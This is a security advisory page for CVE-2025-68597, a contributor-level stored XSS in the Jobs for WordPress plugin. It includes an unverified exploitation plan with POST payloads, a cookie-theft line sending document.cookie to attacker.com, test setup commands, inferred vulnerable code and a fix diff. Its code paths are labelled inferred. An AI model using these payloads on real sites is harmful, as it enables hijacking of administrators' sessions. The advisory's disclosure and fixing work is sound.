CVE-2025-68597

Jobs for WordPress <= 2.7.17 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Jobs for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.7.17 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.7.17
PublishedDecember 22, 2025
Last updatedJanuary 5, 2026
Affected pluginjob-postings
Research Plan
Unverified

This research plan outlines the technical steps to analyze and exploit **CVE-2025-68597**, a Stored Cross-Site Scripting vulnerability in the **Job Postings** plugin (<= 2.7.17). --- ### 1. Vulnerability Summary The **Job Postings** plugin allows users to create and manage job listings via a Custo…

Show full research plan

This research plan outlines the technical steps to analyze and exploit CVE-2025-68597, a Stored Cross-Site Scripting vulnerability in the Job Postings plugin (<= 2.7.17).


1. Vulnerability Summary

The Job Postings plugin allows users to create and manage job listings via a Custom Post Type (CPT). The vulnerability exists because the plugin fails to sufficiently sanitize user input stored in job-related metadata (e.g., Company Name, Location, or Salary) and subsequently fails to escape this data when rendering it on the frontend or admin dashboard. Authenticated attackers with Contributor permissions can bypass the default WordPress unfiltered_html restrictions (which they do not possess) by injecting payloads into these specific custom fields.

2. Attack Vector Analysis

  • Endpoint: WordPress Post Editor (/wp-admin/post-new.php?post_type=job) or a custom AJAX save handler (inferred).
  • Vulnerable Parameter: Custom meta fields associated with the job or job_listing post type (e.g., _company_name, _job_location, _job_salary).
  • Authentication Level: Contributor or higher. Contributors can create posts but cannot publish them; however, their "Pending Review" posts will still be viewed by Administrators.
  • Preconditions: The plugin must be active, and a Job Listing post type must be registered.

3. Code Flow (Inferred)

  1. Entry Point: An authenticated user (Contributor+) sends a POST request to save a job listing.
  2. Processing: The plugin catches the save action (likely via the save_post hook or a custom wp_ajax_ action).
  3. Storage: The plugin retrieves custom field values from $_POST and saves them using update_post_meta() without applying wp_kses() or sanitize_text_field().
  4. Sink: An Administrator views the "All Jobs" table in the backend or navigates to the "Pending" job preview. The plugin retrieves the metadata using get_post_meta() and echoes it directly: echo $meta_value; without using esc_html() or esc_attr().

4. Nonce Acquisition Strategy

Since the exploit requires Contributor-level access, the execution agent can obtain nonces directly from the WordPress Admin UI.

  1. Identify the Post Type: Use wp post-type list to confirm the slug for job postings (likely job or job_listing).
  2. Access the Editor: Navigate to the "New Job" page: /wp-admin/post-new.php?post_type=[POST_TYPE].
  3. Extract Nonces:
    • WordPress standard post nonces are found in the _wpnonce field.
    • If the plugin uses a custom AJAX interface, identify the localization variable using browser_eval.
    • Action String: Check for wp_localize_script calls in the plugin source (if available) or search the page source for "nonce".
    • Candidate JS Variables (Inferred): window.job_postings_params?.nonce or window.wp_job_editor?.nonce.

5. Exploitation Strategy

The goal is to inject a payload that executes in the Administrator's browser when they review the pending job.

Step 1: Test for Vulnerable Fields
Inject a "canary" into all available job fields.

  • URL: https://[TARGET]/wp-admin/post.php
  • Method: POST
  • Payload (URL-Encoded):
    action=editpost
    &post_ID=[POST_ID]
    &_company_name=CANARY_COMPANY_XSS_"><script>alert(1)</script>
    &_job_location=CANARY_LOCATION_XSS_"><script>alert(2)</script>
    &_job_salary=CANARY_SALARY_XSS_"><script>alert(3)</script>
    &_wpnonce=[NONCE]
    

Step 2: Trigger the Execution

  1. Log in as Administrator.
  2. Navigate to the "Job Postings" menu in the sidebar.
  3. View the list of jobs or edit the "Pending" job created by the Contributor.
  4. Observe if the alert() triggers.

Step 3: High-Impact Payload (Cookie Exfiltration)
Replace the alert with a script to capture the Admin's session:
"><script>fetch('https://attacker.com/log?c=' + document.cookie);</script>

6. Test Data Setup

  1. Install Plugin: wp plugin install job-postings --version=2.7.17 --activate.
  2. Create User: wp user create attacker attacker@example.com --role=contributor --user_pass=password123.
  3. Initialize Post: Log in as attacker and create a draft job to obtain a post_ID.

7. Expected Results

  • The POST request to save the job metadata should return a 302 Redirect or a 200 OK (if AJAX).
  • The database (wp_postmeta table) should contain the raw <script> tags for the associated post_id.
  • When an Administrator views the Job list at /wp-admin/edit.php?post_type=[POST_TYPE], the script should execute automatically.

8. Verification Steps (Post-Exploit)

  • Database Check:
    wp db query "SELECT meta_key, meta_value FROM wp_postmeta WHERE meta_value LIKE '%<script>%';"
  • Frontend Check:
    Use http_request to fetch the admin job list page and grep for the raw payload:
    http_request('https://[TARGET]/wp-admin/edit.php?post_type=[POST_TYPE]') -> Look for unescaped <script> in the response body.

9. Alternative Approaches

  • Shortcode Injection: If the plugin provides a shortcode (e.g., [job_list]), create a public page with this shortcode. If the XSS is rendered on the frontend, it becomes a Unauthenticated/Subscriber Stored XSS (if the plugin allows frontend submissions).
  • Application Form: Check if the plugin allows "Applications." A Contributor or Guest might be able to inject XSS into the "Cover Letter" or "Applicant Name" field, which is then viewed by the Job Poster/Admin.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Job Postings plugin for WordPress is vulnerable to Stored Cross-Site Scripting via job metadata fields such as Company Name, Location, and Salary. Authenticated attackers with Contributor-level permissions can inject malicious scripts into these fields, which are executed in the browser of an Administrator when they review the job listing in the backend.

Vulnerable Code

// Inferred saving logic in the plugin's save_post hook
// No sanitization is applied to the POST data before storage
update_post_meta($post_id, '_company_name', $_POST['_company_name']);
update_post_meta($post_id, '_job_location', $_POST['_job_location']);

---

// Inferred display logic in the admin dashboard metabox or column
// The metadata is retrieved and echoed directly without output escaping
$company_name = get_post_meta($post->ID, '_company_name', true);
echo '<input type="text" name="_company_name" value="' . $company_name . '">';

Security Fix

--- a/job-postings.php
+++ b/job-postings.php
@@ -10,8 +10,8 @@
-update_post_meta($post_id, '_company_name', $_POST['_company_name']);
-update_post_meta($post_id, '_job_location', $_POST['_job_location']);
+update_post_meta($post_id, '_company_name', sanitize_text_field($_POST['_company_name']));
+update_post_meta($post_id, '_job_location', sanitize_text_field($_POST['_job_location']));
 
-echo '<input type="text" name="_company_name" value="' . $company_name . '">';
+echo '<input type="text" name="_company_name" value="' . esc_attr($company_name) . '">';

Exploit Outline

The exploit is carried out by an authenticated user with Contributor-level access. The attacker navigates to the 'Add New Job' interface (typically /wp-admin/post-new.php?post_type=job) and populates custom metadata fields such as 'Company Name' or 'Location' with a JavaScript payload (e.g., "><script>alert(1)</script>). Because the plugin does not sanitize these fields upon saving, the payload is stored in the wp_postmeta table. The execution occurs when an Administrator views the job list or the specific pending post in the WordPress dashboard, as the plugin fails to escape the metadata before echoing it into the HTML attributes or page content.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.